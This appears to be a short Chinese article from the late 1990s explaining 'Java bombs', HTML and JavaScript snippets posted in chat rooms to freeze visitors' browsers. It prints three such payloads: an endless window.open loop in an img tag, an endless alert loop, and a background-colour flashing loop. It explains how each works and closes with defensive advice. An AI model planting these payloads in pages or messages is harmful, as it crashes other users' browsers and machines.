JAVA炸弹原理
很多网友在聊天室中被炸了以后,就以为是被别人黑了,其实不是的。炸弹有很多种,有的是造成电脑直接死机,有的是通过HTML语言,让你的浏览器吃完你的系统资源,然后你就死机了。 这里我就告诉大家几个java炸弹的原理:
第一个炸弹是javascript类型的炸弹:
<img src="javascript:n=1;do{window.open('')}while(n==1)"
width="1">
这个Javascript语言要求浏览在新窗口中再打开本页。新的页面被打开以后就会同样提出要求,于是浏览器不停地打开新窗口,没几秒钟你就死机了。就算是不死机,你也必须把浏览器中内存中驱除出去,这样,你就被踢出了网络。
下面分析一下这个HTML语言的原理。 分析 "javascript:n=1;do{window.open('')}while(n==1)" ,javascript 是定义运行此语言,n=1 是定义变量 n 等于1, do{ }while(n==1) 指当 n 等于1,的时候运行{ }中间的命令,window.open('') 指打开本窗口,整个语言的意思是,变量 n 赋值为1,如果 n 等于1,那么就打开一个窗口,而 n 永远等于1,就不停地打开新的窗口。
同样道理,也可以利用无限循环的原理看看其他的炸弹。前面的文章中提到了 alert ("欢迎辞") 是用来致欢迎辞的,你可以在网页中加入以下的Javascript 语言:
<SCRIPT language="LiveScript">javascript:n=1;do{alert ("嘿嘿,你死定
了!");}while(n==1)</SCRIPT>
下面介绍一个1999年5月才出炉的java炸弹,威力比上两种都强,大家务必要当心。 我们就不在这里提供效果了!
<HTML>
<BODY>
<SCRIPT>
var color = new Array;
color = "black";
color = "white";
for(x = 0; x <3; x++)
{
document.bgColor = color[x]
if(x == 2)
{
x = 0;
}
}
</SCRIPT>
</BODY>
</HTML>
防范
唯一的防范方法就是你在聊天室聊天时,特别是支持HTML的聊天室(比如湛江,新疆等)请你一定记住关掉你浏览器里的java功能,还要记住不要浏览一些来路不明的网站和不要在聊天室里按其他网友发出的超级链接,这样可以避免遭到恶作剧者的攻击。